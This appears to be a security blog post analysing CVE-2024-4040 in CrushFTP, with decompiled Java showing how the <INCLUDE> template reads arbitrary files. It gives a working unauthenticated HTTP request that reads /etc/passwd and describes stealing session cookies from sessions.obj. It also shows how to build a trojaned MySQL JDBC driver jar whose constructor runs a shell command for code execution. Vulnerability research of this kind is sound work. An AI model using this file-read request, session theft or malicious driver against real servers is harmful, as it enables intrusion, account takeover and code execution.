CVE 2024-4040 - CrushFTP Server-Side Template Injection Vulnerability Analysis
Table of Contents
This blog post contains a thorough analysis of Server Side Template Injection vulnerability in a commercial Managed File Transfer product named CrushFTP. Exploit script is available here.
CVE 2024-4040 - CrushFTP Server-Side Template Injection Vulnerability #
I am writing a blog post after a very long time. Finally the “hiatus” has ended and now I am back on track for analyzing real world vulnerabilities and how it has been exploited, more so I will try to uncover what exactly happens under the hood. For starter, I had many vulnerabilities listed and I was confused on what to pick up first but then I saw a news stating that a zero day vulnerability was identified in CrushFTP server. I worked on FTP server sometimes back as part of my work so I thought this would be better to pick for starter.
Before we delve into the vulnerability and exploit, at the time of writing this blog, there are numerous other articles, exploits and scanning script available on the Internet. I have used them for reference at times to understand which part of the server was actually vulnerable.
Source: April 19th, 2024 - CVE-2024-4040 CrushFTP v11 versions below 11.1 have a vulnerability where users can escape their VFS and download system files. This has been patched in v11.1.0. Customers using a DMZ in front of their main CrushFTP instance are partially protected with its protocol translation system it utilizes. A DMZ however does not fully protect you and you must update immediately. (CREDIT:Simon Garrelou, of Airbus CERT)
Given that the all versions below 11.1.0 and specific version of 10.x is vulnerable to SSTI vulnerability, it could really help us if we can get an older version of this. In this case, there was shokinn/crushftp:latest
docker image was present which can spin up a local CrushFTP server with 30 days of trial, more than enough for us to walk through such vulnerability.
Once the docker is up and running, we can login to the CrushFTP and confirm the version is 9.3.1_9
From the publicly available data, I found that the vulnerability that allow reading of local files can be triggered by navigating to following URL:
/WebInterface/function/?command=zip&c2f="+cookies['currentAuth']+"&path=<INCLUDE>"+path+"</INCLUDE>&names=*"
If we break this URL down, we see that on the /WebInterface/function
endpoint it gives command
parameter with a value of zip
followed by c2f
which will contain currentAuth
value from the cookie and a path
parameter where the payload is given. As we already know that this is an unauthenticated vulnerability, this endpoint seemingly don’t require any kind of authentication. More so, it seems like an API call being made for performing a zip operation on the defined path. To further look into this, I checked the ServerSessionAJAX.class
file:
response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n";
names = crushftp.handlers.Common.url_decode(request.getProperty("names")).replace('>', '_').replace('<', '_').split("\r\n");
citrix_api_subdomain = "";
buttons = new Vector();
final StringBuffer firstItemName = new StringBuffer();
for (x = 0; x < names.length; ++x) {
response = names[x];
if (!response.startsWith(this.thisSessionHTTP.thisSession.SG("root_dir"))) {
response = this.thisSessionHTTP.thisSession.SG("root_dir") + response.substring(1);
}
this.thisSessionHTTP.cd(response);
if (this.thisSessionHTTP.thisSession.check_access_privs(this.thisSessionHTTP.pwd(), "RETR") && this.thisSessionHTTP.thisSession.check_access_privs(this.thisSessionHTTP.pwd(), "STOR")) {
this.thisSessionHTTP.thisSession.uiPUT("the_command", "ZIP");
this.thisSessionHTTP.thisSession.uiPUT("the_command_data", this.thisSessionHTTP.pwd());
transfer_lock = this.thisSessionHTTP.thisSession.uVFS.get_item(response);
if (firstItemName.length() == 0) {
firstItemName.append(transfer_lock.getProperty("name"));
}
this.thisSessionHTTP.thisSession.uVFS.getListing(buttons, response, 999, 50000, true);
else {
citrix_api_subdomain = citrix_api_subdomain + "You need download, upload permissions to zip a file:" + response + "\r\n";
}
refresh_token = crushftp.handlers.Common.url_decode(request.getProperty("path"));
if (!refresh_token.startsWith(this.thisSessionHTTP.thisSession.SG("root_dir"))) {
refresh_token = this.thisSessionHTTP.thisSession.SG("root_dir") + refresh_token.substring(1);
}
if (this.thisSessionHTTP.thisSession.check_access_privs(refresh_token, "STOR")) {
citrix_api_subdomain = citrix_api_subdomain + "Started zipping...\r\n";
ppp = this.thisSessionHTTP.thisSession.uVFS.get_item(refresh_token);
name = (new VRL(ppp.getProperty("url"))).getPath();
Worker.startWorker(new Runnable() {
public void run() {
String zipName = firstItemName.toString() + "_" + crushftp.handlers.Common.makeBoundary(3);
try {
crushftp.handlers.Common.zip(name, buttons, name + zipName + ".zipping");
(new File_U(name + zipName + ".zipping")).renameTo(new File_U(name + zipName + ".zip"));
} catch (Exception var3) {
crushftp.handlers.Common.debug(0, (Exception) var3);
(new File_U(name + zipName + ".zipping")).renameTo(new File_U(name + zipName + ".bad"));
}
, "Zipping:" + refresh_token + ":" + request.getProperty("names"));
} else {
citrix_api_subdomain = citrix_api_subdomain + "You need upload permissions to zip a file:" + request.getProperty("path") + "\r\n";
}
response = response + "<commandResult><response>" + citrix_api_subdomain + "</response></commandResult>"; this.thisSessionHTTP.thisSession.uVFS.reset();
return this.writeResponse(response.replace('%', ' '));
}
As we see here, this part of code ends up checking if we have the proper permission to zip the requested file path and we won’t be having it, in this particular case, so what will happen is the following piece of code will be taken place:
else {
citrix_api_subdomain = citrix_api_subdomain + "You need upload permissions to zip a file:" + request.getProperty("path") + "\r\n";
}
Something to notice here is that our parameter value of path
is being included in the response as well and then it is passed to the this.WriteResponse
, if we look closely into the WriteResponse
functions, a method overloading approach has been done to this such that this function will be called in accordance to the parameters passed to it.
public boolean writeResponse(String response) throws Exception {
return this.writeResponse(response, true, 200, true, false, true);
}
public boolean writeResponse(String response, boolean json) throws Exception {
return this.writeResponse(response, true, 200, true, json, true);
}
public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {
boolean acceptsGZIP = false;
return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);
}
public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
if (convertVars) {
response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
}
In the preceding code, it was noted that only the response
argument was passed to the writeResponse
method. However, upon closer inspection, it becomes evident that the primary writeResponse
method requires an additional boolean argument called convertVars
as its third parameter. The first writeResponse
call sets this argument to true
, indicating that variable conversion (convertVars
) is enabled. Consequently, the method ServerStatus.thisObj.change_vars_to_values
will be invoked.
Custom Templating Engine #
As noticed before, the change_vars_to_values
method is called as a method from the ServerStatus
class.
The main chunk of code is rather big but not complicated to understand. Looking closely into the change_vars_to_values
:
public String change_vars_to_values(String in_str, SessionCrush the_session) {
if (the_session != null)
return change_vars_to_values(in_str, the_session.user, the_session.user_info, the_session);
return change_vars_to_values(in_str, new Properties(), new Properties(), the_session);
}
public String change_vars_to_values(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
return change_vars_to_values_static(in_str, user, user_info, the_session);
}
The change_vars_to_values
function calls change_vars_to_values_static
, this function works like a template engine where it takes placeholder variable and substitute for it’s real value. It first parses the given placeholder value and then substitute it’s value by performing some specified operation.
- By specified, I meant that the application has defined methods and classes to substitute specific keywords. For the file read vulnerability, there is one such method as well, we will be gooing
For example, the following code will replace the placeholders with specified values by retrieving from configurations:
public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
try {
String r1 = "%";
String r2 = "%";
for (int r = 0; r < 2; r++) {
[..snip..]
if (in_str.indexOf(String.valueOf(r1) + "beep" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "beep" + r2, "");
if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname);
if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, (new Date()).toString());
if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, uSG(user_info, "user_number"));
if (in_str.indexOf(String.valueOf(r1) + "users_connected" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "users_connected" + r2, thisObj.getTotalConnectedUsers());
if (in_str.indexOf(String.valueOf(r1) + "user_password" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_password" + r2, uSG(user_info, "current_password"));
if (in_str.indexOf(String.valueOf(r1) + "user_name" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_name" + r2, uSG(user, "username"));
if (in_str.indexOf(String.valueOf(r1) + "user_anonymous_password" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_anonymous_password" + r2, uSG(user_info, "user_name").equalsIgnoreCase("anonymous") ? uSG(user_info, "current_password") : "");
if (in_str.indexOf(String.valueOf(r1) + "user_current_dir" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_current_dir" + r2, the_session.get_PWD());
if (in_str.indexOf(String.valueOf(r1) + "user_sessionid" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_sessionid" + r2, uSG(user_info, "CrushAuth"));
if (in_str.indexOf(String.valueOf(r1) + "user_site_commands_text" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_site_commands_text" + r2, uSG(user, "site"));
[..snip..]
If the given placeholder is something like {{ user_name }}
, it will give the current user’s name which in this case will be anonymous
as we will make the connection as a guest. This is a typical behavior of a template rendering as we commonly see in Jinja (Python’s flask) or Razor (.NET) templates.
As we can see, the given user_name
has been replaced with current user’s name.
There are certain values which are being processed differently:
Two things that seems to be of interesting from exploitation point of view are <LIST>
and <INCLUDE>
and we see if such placeholders are passed to the change_vars_to_values_static
method, it ends up calling get_dir_list
and do_include_file_command
respectively. Calling get_dir_list
resulted in a failure:
The reason is rather clear why this happens, checking the method get_dir_list
, we see that it only lists the files/folders from the user’s VFS (Virtual File Share) given that the anonymous user will not have any VFS configured for it, it does make sense why it failed simply:
public String get_dir_list(String in_str, SessionCrush the_session) throws Exception {
String command = in_str.substring(in_str.indexOf("<LIST>") + 6, in_str.indexOf("</LIST>"));
String path = command.trim();
Vector list = new Vector();
if (!path.startsWith(the_session.user.getProperty("root_dir")))
path = String.valueOf(the_session.user.getProperty("root_dir")) + path.substring(1);
the_session.uVFS.getListing(list, path);
StringBuffer add_str = new StringBuffer();
for (int x = 0; x < list.size(); x++) {
Properties item = list.elementAt(x);
LIST_handler.generateLineEntry(item, add_str, false, path, false, the_session, false);
}
in_str = Common.replace_str(in_str, "<LIST>" + command + "</LIST>", add_str.toString());
return in_str;
}
Arbitrary File Read Vulnerability via SSTI #
Now, moving on to the do_include_file_command
, let’s analyze the method:
public String do_include_file_command(String in_str) {
try {
String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
RandomAccessFile includer = new RandomAccessFile((File)new File_S(file_name), "r");
byte[] temp_array = new byte[(int)includer.length()];
includer.read(temp_array);
includer.close();
String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
} catch (Exception exception) {
return in_str;
}
}
Recalling that the disclosure for this vulnerability mentioned that VFS sandbox bypass meaning an attacker will be able to request any file on the system not just from the VFS. This is what made the vulnerability a rather severity one. In the above code snippet, we don’t see any explicit check against the given directory to be within the VFS like we saw in the get_dir_list
, to give an overview, this method parses the given placeholder value, for example if <INCLUDE>/etc/passwd</INCLUDE>
, it will get the /etc/passwd
and store it in the file_name
and then using the [includer.read](http://includer.read)
method, it will read that file and then return the retrieved content.
Let’s test this out by reading the /etc/passwd
file:
GET /WebInterface/function/?command=zip&c2f=1QTL&path=<INCLUDE>/etc/passwd</INCLUDE>&names=* HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: currentAuth=1QTL; CrushAuth=1715144049924_XPU0xRbx1hIJZnsTuFUQ9l8wFI1QTL
Retrieving the contents of /etc/passwd
using the INCLUDE
template.
This is the vulnerability which was mainly discussed everywhere but rather what happened here is the custom templating engine that CrushFTP has implemented and the INCLUDE
which is a specified template for retrieving specific file. Since the direct call of this function does not check for files within the VFS allowing us to traverse through the whole file system.
Authentication Bypass via sessions.obj
#
Using this Arbitrary File read vulnerability, we can get the session cookies for the users by reading the sessions.obj
, this file contains raw data and also stores session cookies for the logged in users. Once retrieved, one can extract the session cookies and then use it to access the CrushFTP functionalities.
Leveraging to RCE #
There was also a vague mention of how this vulnerability can open certain avenues to perform RCE. I walked through the application from the admin session to find if there is any specific functionalities which may let us achieve code execution. One of such functionalities was
Preferences → Plugins → CrushSQL
I tried to compile a jar file by having a Main.class
file in it with the Driver
as the public class name but it returned following error:
java.lang.ClassCastException
: class Main cannot be cast to classjava.sql.Driver
(Main is in unnamed module of loaderjava.net.URLClassLoader @62f16978; java.sql.Driver
is in modulejava.sql
of loader ‘platform’)
The error occurs because the class Driver
is being incorrectly cast to the interface java.sql.Driver
, suggesting an attempt to use Driver
as a JDBC driver, which it is not, leading to a ClassCastException
.
So in order to keep things simple, I downloaded the mysqlconnector jar file and then decompressed the jar file and then changed the Driver.class
by adding my own code and then recompiled the .java
file to class
ζ cat org/gjt/mm/mysql/Driver.java
ackage org.gjt.mm.mysql;
import java.io.IOException;
import java.sql.SQLException;
public class Driver extends com.mysql.jdbc.Driver {
public Driver() throws SQLException {
super(); // Call the constructor of the superclass
// Your additional code here
String cmd = "touch /tmp/curshftp_pwned";
try {
Process process = Runtime.getRuntime().exec(cmd);
process.waitFor();
} catch (IOException | InterruptedException e) {
// Handle the exception as needed
e.printStackTrace();
}
}
}
ζ javac org/gjt/mm/mysql/Driver.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Note: org/gjt/mm/mysql/Driver.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
Once done, it is time to pack it back to jar again
ζ jar cvf exploit.jar .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
ignoring entry META-INF/
adding: META-INF/INDEX.LIST(in = 383) (out= 159)(deflated 58%)
ignoring entry META-INF/MANIFEST.MF
adding: com/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/AssertionFailedException.class(in = 914) (out= 472)(deflated 48%)
adding: com/mysql/jdbc/Blob.class(in = 3604) (out= 1757)(deflated 51%)
adding: com/mysql/jdbc/BlobFromLocator$LocatorInputStream.class(in = 2116) (out= 1133)(deflated 46%)
adding: com/mysql/jdbc/BlobFromLocator.class(in = 8472) (out= 4434)(deflated 47%)
adding: com/mysql/jdbc/Buffer.class(in = 11778) (out= 5114)(deflated 56%)
adding: com/mysql/jdbc/CallableStatement$CallableStatementParam.class(in = 1366) (out= 733)(deflated 46%)
adding: com/mysql/jdbc/CallableStatement$CallableStatementParamInfo.class(in = 6435) (out= 2915)(deflated 54%)
adding: com/mysql/jdbc/CallableStatement$CallableStatementParamInfoJDBC3.class(in = 1129) (out= 458)(deflated 59%)
adding: com/mysql/jdbc/CallableStatement.class(in = 29764) (out= 11182)(deflated 62%)
adding: com/mysql/jdbc/CharsetMapping.class(in = 11950) (out= 5943)(deflated 50%)
adding: com/mysql/jdbc/Charsets.properties(in = 2477) (out= 861)(deflated 65%)
adding: com/mysql/jdbc/Clob.class(in = 5148) (out= 2409)(deflated 53%)
adding: com/mysql/jdbc/CommunicationsException.class(in = 3552) (out= 1703)(deflated 52%)
adding: com/mysql/jdbc/CompressedInputStream.class(in = 4684) (out= 2555)(deflated 45%)
adding: com/mysql/jdbc/Connection$1.class(in = 1135) (out= 686)(deflated 39%)
adding: com/mysql/jdbc/Connection$CompoundCacheKey.class(in = 1326) (out= 728)(deflated 45%)
adding: com/mysql/jdbc/Connection$UltraDevWorkAround.class(in = 20359) (out= 4395)(deflated 78%)
adding: com/mysql/jdbc/Connection.class(in = 67031) (out= 33151)(deflated 50%)
adding: com/mysql/jdbc/ConnectionFeatureNotAvailableException.class(in = 830) (out= 439)(deflated 47%)
adding: com/mysql/jdbc/ConnectionProperties$1.class(in = 372) (out= 236)(deflated 36%)
adding: com/mysql/jdbc/ConnectionProperties$BooleanConnectionProperty.class(in = 2243) (out= 1060)(deflated 52%)
adding: com/mysql/jdbc/ConnectionProperties$ConnectionProperty.class(in = 5207) (out= 2337)(deflated 55%)
adding: com/mysql/jdbc/ConnectionProperties$IntegerConnectionProperty.class(in = 3334) (out= 1468)(deflated 55%)
adding: com/mysql/jdbc/ConnectionProperties$MemorySizeConnectionProperty.class(in = 2133) (out= 1104)(deflated 48%)
adding: com/mysql/jdbc/ConnectionProperties$StringConnectionProperty.class(in = 2341) (out= 994)(deflated 57%)
adding: com/mysql/jdbc/ConnectionProperties.class(in = 63336) (out= 22225)(deflated 64%)
adding: com/mysql/jdbc/ConnectionPropertiesTransform.class(in = 283) (out= 184)(deflated 34%)
adding: com/mysql/jdbc/Constants.class(in = 384) (out= 281)(deflated 26%)
adding: com/mysql/jdbc/CursorRowProvider.class(in = 4730) (out= 2102)(deflated 55%)
adding: com/mysql/jdbc/DatabaseMetaData$1.class(in = 3827) (out= 1962)(deflated 48%)
adding: com/mysql/jdbc/DatabaseMetaData$2.class(in = 6158) (out= 3099)(deflated 49%)
adding: com/mysql/jdbc/DatabaseMetaData$3.class(in = 5352) (out= 2531)(deflated 52%)
adding: com/mysql/jdbc/DatabaseMetaData$4.class(in = 3378) (out= 1637)(deflated 51%)
adding: com/mysql/jdbc/DatabaseMetaData$5.class(in = 3274) (out= 1617)(deflated 50%)
adding: com/mysql/jdbc/DatabaseMetaData$6.class(in = 3274) (out= 1692)(deflated 48%)
adding: com/mysql/jdbc/DatabaseMetaData$7.class(in = 3276) (out= 1626)(deflated 50%)
adding: com/mysql/jdbc/DatabaseMetaData$8.class(in = 3818) (out= 1940)(deflated 49%)
adding: com/mysql/jdbc/DatabaseMetaData$9.class(in = 4511) (out= 2347)(deflated 47%)
adding: com/mysql/jdbc/DatabaseMetaData$IterateBlock.class(in = 1143) (out= 589)(deflated 48%)
adding: com/mysql/jdbc/DatabaseMetaData$IteratorWithCleanup.class(in = 716) (out= 392)(deflated 45%)
adding: com/mysql/jdbc/DatabaseMetaData$LocalAndReferencedColumns.class(in = 1066) (out= 530)(deflated 50%)
adding: com/mysql/jdbc/DatabaseMetaData$ResultSetIterator.class(in = 1249) (out= 609)(deflated 51%)
adding: com/mysql/jdbc/DatabaseMetaData$SingleStringIterator.class(in = 1121) (out= 562)(deflated 49%)
adding: com/mysql/jdbc/DatabaseMetaData$TypeDescriptor.class(in = 4663) (out= 2634)(deflated 43%)
adding: com/mysql/jdbc/DatabaseMetaData.class(in = 68855) (out= 27275)(deflated 60%)
adding: com/mysql/jdbc/DatabaseMetaDataUsingInfoSchema.class(in = 15351) (out= 5479)(deflated 64%)
adding: com/mysql/jdbc/DocsConnectionPropsHelper.class(in = 718) (out= 409)(deflated 43%)
adding: com/mysql/jdbc/Driver.class(in = 692) (out= 426)(deflated 38%)
adding: com/mysql/jdbc/EscapeProcessor.class(in = 11338) (out= 5906)(deflated 47%)
adding: com/mysql/jdbc/EscapeProcessorResult.class(in = 462) (out= 313)(deflated 32%)
adding: com/mysql/jdbc/EscapeTokenizer.class(in = 2138) (out= 1237)(deflated 42%)
adding: com/mysql/jdbc/ExportControlled.class(in = 1980) (out= 1024)(deflated 48%)
adding: com/mysql/jdbc/Field.class(in = 12253) (out= 5730)(deflated 53%)
adding: com/mysql/jdbc/LicenseConfiguration.class(in = 502) (out= 315)(deflated 37%)
adding: com/mysql/jdbc/LocalizedErrorMessages.properties(in = 21861) (out= 6062)(deflated 72%)
adding: com/mysql/jdbc/Messages.class(in = 2744) (out= 1363)(deflated 50%)
adding: com/mysql/jdbc/MiniAdmin.class(in = 1425) (out= 686)(deflated 51%)
adding: com/mysql/jdbc/MysqlDataTruncation.class(in = 815) (out= 483)(deflated 40%)
adding: com/mysql/jdbc/MysqlDefs.class(in = 7862) (out= 3812)(deflated 51%)
adding: com/mysql/jdbc/MysqlErrorNumbers.class(in = 13677) (out= 5204)(deflated 61%)
adding: com/mysql/jdbc/MysqlIO.class(in = 53305) (out= 27564)(deflated 48%)
adding: com/mysql/jdbc/MysqlParameterMetadata.class(in = 2161) (out= 897)(deflated 58%)
adding: com/mysql/jdbc/MysqlSavepoint.class(in = 1646) (out= 928)(deflated 43%)
adding: com/mysql/jdbc/NamedPipeSocketFactory$NamedPipeSocket.class(in = 1881) (out= 805)(deflated 57%)
adding: com/mysql/jdbc/NamedPipeSocketFactory$RandomAccessFileInputStream.class(in = 1339) (out= 619)(deflated 53%)
adding: com/mysql/jdbc/NamedPipeSocketFactory$RandomAccessFileOutputStream.class(in = 1266) (out= 617)(deflated 51%)
adding: com/mysql/jdbc/NamedPipeSocketFactory.class(in = 1978) (out= 909)(deflated 54%)
adding: com/mysql/jdbc/NonRegisteringDriver.class(in = 9521) (out= 4561)(deflated 52%)
adding: com/mysql/jdbc/NonRegisteringReplicationDriver.class(in = 2474) (out= 1257)(deflated 49%)
adding: com/mysql/jdbc/NotImplemented.class(in = 480) (out= 301)(deflated 37%)
adding: com/mysql/jdbc/NotUpdatable.class(in = 893) (out= 481)(deflated 46%)
adding: com/mysql/jdbc/OperationNotSupportedException.class(in = 529) (out= 320)(deflated 39%)
adding: com/mysql/jdbc/OutputStreamWatcher.class(in = 201) (out= 150)(deflated 25%)
adding: com/mysql/jdbc/PacketTooBigException.class(in = 930) (out= 469)(deflated 49%)
adding: com/mysql/jdbc/PreparedStatement$BatchParams.class(in = 1224) (out= 685)(deflated 44%)
adding: com/mysql/jdbc/PreparedStatement$EndPoint.class(in = 647) (out= 375)(deflated 42%)
adding: com/mysql/jdbc/PreparedStatement$ParseInfo.class(in = 4277) (out= 2447)(deflated 42%)
adding: com/mysql/jdbc/PreparedStatement.class(in = 45810) (out= 22848)(deflated 50%)
adding: com/mysql/jdbc/ReplicationConnection.class(in = 7733) (out= 2698)(deflated 65%)
adding: com/mysql/jdbc/ReplicationDriver.class(in = 731) (out= 433)(deflated 40%)
adding: com/mysql/jdbc/ResultSet.class(in = 82281) (out= 36039)(deflated 56%)
adding: com/mysql/jdbc/ResultSetMetaData.class(in = 7948) (out= 3836)(deflated 51%)
adding: com/mysql/jdbc/RowData.class(in = 970) (out= 473)(deflated 51%)
adding: com/mysql/jdbc/RowDataDynamic$OperationNotSupportedException.class(in = 771) (out= 406)(deflated 47%)
adding: com/mysql/jdbc/RowDataDynamic.class(in = 6083) (out= 2640)(deflated 56%)
adding: com/mysql/jdbc/RowDataStatic.class(in = 2781) (out= 1186)(deflated 57%)
adding: com/mysql/jdbc/SQLError.class(in = 15017) (out= 6323)(deflated 57%)
adding: com/mysql/jdbc/Security.class(in = 4076) (out= 2342)(deflated 42%)
adding: com/mysql/jdbc/ServerPreparedStatement$BatchedBindValues.class(in = 875) (out= 450)(deflated 48%)
adding: com/mysql/jdbc/ServerPreparedStatement$BindValue.class(in = 2291) (out= 1184)(deflated 48%)
adding: com/mysql/jdbc/ServerPreparedStatement.class(in = 35021) (out= 17081)(deflated 51%)
adding: com/mysql/jdbc/SingleByteCharsetConverter.class(in = 3607) (out= 1913)(deflated 46%)
adding: com/mysql/jdbc/SocketFactory.class(in = 380) (out= 235)(deflated 38%)
adding: com/mysql/jdbc/StandardSocketFactory.class(in = 4324) (out= 2188)(deflated 49%)
adding: com/mysql/jdbc/Statement$1.class(in = 1755) (out= 928)(deflated 47%)
adding: com/mysql/jdbc/Statement$CachedResultSetMetaData.class(in = 747) (out= 427)(deflated 42%)
adding: com/mysql/jdbc/Statement$CancelTask.class(in = 1228) (out= 630)(deflated 48%)
adding: com/mysql/jdbc/Statement.class(in = 26505) (out= 12676)(deflated 52%)
adding: com/mysql/jdbc/StringUtils.class(in = 17636) (out= 8909)(deflated 49%)
adding: com/mysql/jdbc/TimeUtil.class(in = 34225) (out= 16486)(deflated 51%)
adding: com/mysql/jdbc/UpdatableResultSet.class(in = 25663) (out= 11104)(deflated 56%)
adding: com/mysql/jdbc/Util$RandStructcture.class(in = 565) (out= 348)(deflated 38%)
adding: com/mysql/jdbc/Util.class(in = 5155) (out= 2894)(deflated 43%)
adding: com/mysql/jdbc/VersionedStringProperty.class(in = 2174) (out= 1225)(deflated 43%)
adding: com/mysql/jdbc/WatchableOutputStream.class(in = 794) (out= 417)(deflated 47%)
adding: com/mysql/jdbc/WatchableWriter.class(in = 698) (out= 380)(deflated 45%)
adding: com/mysql/jdbc/WriterWatcher.class(in = 183) (out= 143)(deflated 21%)
adding: com/mysql/jdbc/configs/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/configs/3-0-Compat.properties(in = 413) (out= 269)(deflated 34%)
adding: com/mysql/jdbc/configs/clusterBase.properties(in = 100) (out= 88)(deflated 12%)
adding: com/mysql/jdbc/configs/fullDebug.properties(in = 146) (out= 110)(deflated 24%)
adding: com/mysql/jdbc/configs/maxPerformance.properties(in = 775) (out= 419)(deflated 45%)
adding: com/mysql/jdbc/configs/solarisMaxPerformance.properties(in = 248) (out= 169)(deflated 31%)
adding: com/mysql/jdbc/exceptions/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/exceptions/MySQLDataException.class(in = 829) (out= 414)(deflated 50%)
adding: com/mysql/jdbc/exceptions/MySQLIntegrityConstraintViolationException.class(in = 901) (out= 433)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLInvalidAuthorizationSpecException.class(in = 889) (out= 434)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLNonTransientConnectionException.class(in = 883) (out= 421)(deflated 52%)
adding: com/mysql/jdbc/exceptions/MySQLNonTransientException.class(in = 822) (out= 417)(deflated 49%)
adding: com/mysql/jdbc/exceptions/MySQLSyntaxErrorException.class(in = 850) (out= 422)(deflated 50%)
adding: com/mysql/jdbc/exceptions/MySQLTimeoutException.class(in = 977) (out= 487)(deflated 50%)
adding: com/mysql/jdbc/exceptions/MySQLTransactionRollbackException.class(in = 871) (out= 423)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLTransientConnectionException.class(in = 871) (out= 419)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLTransientException.class(in = 813) (out= 407)(deflated 49%)
adding: com/mysql/jdbc/integration/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/integration/c3p0/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/integration/c3p0/MysqlConnectionTester.class(in = 2856) (out= 1427)(deflated 50%)
adding: com/mysql/jdbc/integration/jboss/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/integration/jboss/ExtendedMysqlExceptionSorter.class(in = 804) (out= 457)(deflated 43%)
adding: com/mysql/jdbc/integration/jboss/MysqlValidConnectionChecker.class(in = 2687) (out= 1351)(deflated 49%)
adding: com/mysql/jdbc/jdbc2/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/jdbc2/optional/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/jdbc2/optional/CallableStatementWrapper.class(in = 18436) (out= 4464)(deflated 75%)
adding: com/mysql/jdbc/jdbc2/optional/ConnectionWrapper.class(in = 10762) (out= 3702)(deflated 65%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlConnectionPoolDataSource.class(in = 1259) (out= 531)(deflated 57%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlDataSource.class(in = 5785) (out= 2512)(deflated 56%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlDataSourceFactory.class(in = 3186) (out= 1625)(deflated 48%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlPooledConnection.class(in = 3122) (out= 1467)(deflated 53%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXAConnection.class(in = 8107) (out= 4102)(deflated 49%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXADataSource.class(in = 1396) (out= 622)(deflated 55%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXAException.class(in = 1156) (out= 628)(deflated 45%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXid.class(in = 1510) (out= 883)(deflated 41%)
adding: com/mysql/jdbc/jdbc2/optional/PreparedStatementWrapper.class(in = 9557) (out= 2923)(deflated 69%)
adding: com/mysql/jdbc/jdbc2/optional/StatementWrapper.class(in = 8635) (out= 2843)(deflated 67%)
adding: com/mysql/jdbc/jdbc2/optional/SuspendableXAConnection.class(in = 3889) (out= 1679)(deflated 56%)
adding: com/mysql/jdbc/jdbc2/optional/WrapperBase.class(in = 897) (out= 504)(deflated 43%)
adding: com/mysql/jdbc/log/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/log/CommonsLogger.class(in = 2725) (out= 911)(deflated 66%)
adding: com/mysql/jdbc/log/Jdk14Logger.class(in = 4520) (out= 1852)(deflated 59%)
adding: com/mysql/jdbc/log/Log.class(in = 489) (out= 261)(deflated 46%)
adding: com/mysql/jdbc/log/Log4JLogger.class(in = 2752) (out= 987)(deflated 64%)
adding: com/mysql/jdbc/log/LogFactory.class(in = 3130) (out= 1472)(deflated 52%)
adding: com/mysql/jdbc/log/LogUtils.class(in = 3274) (out= 1891)(deflated 42%)
adding: com/mysql/jdbc/log/NullLogger.class(in = 1908) (out= 561)(deflated 70%)
adding: com/mysql/jdbc/log/StandardLogger.class(in = 4161) (out= 1727)(deflated 58%)
adding: com/mysql/jdbc/profiler/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/profiler/ProfileEventSink.class(in = 1835) (out= 928)(deflated 49%)
adding: com/mysql/jdbc/profiler/ProfilerEvent.class(in = 5720) (out= 2800)(deflated 51%)
adding: com/mysql/jdbc/util/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/util/BaseBugReport.class(in = 2200) (out= 1089)(deflated 50%)
adding: com/mysql/jdbc/util/ErrorMappingsDocGenerator.class(in = 581) (out= 348)(deflated 40%)
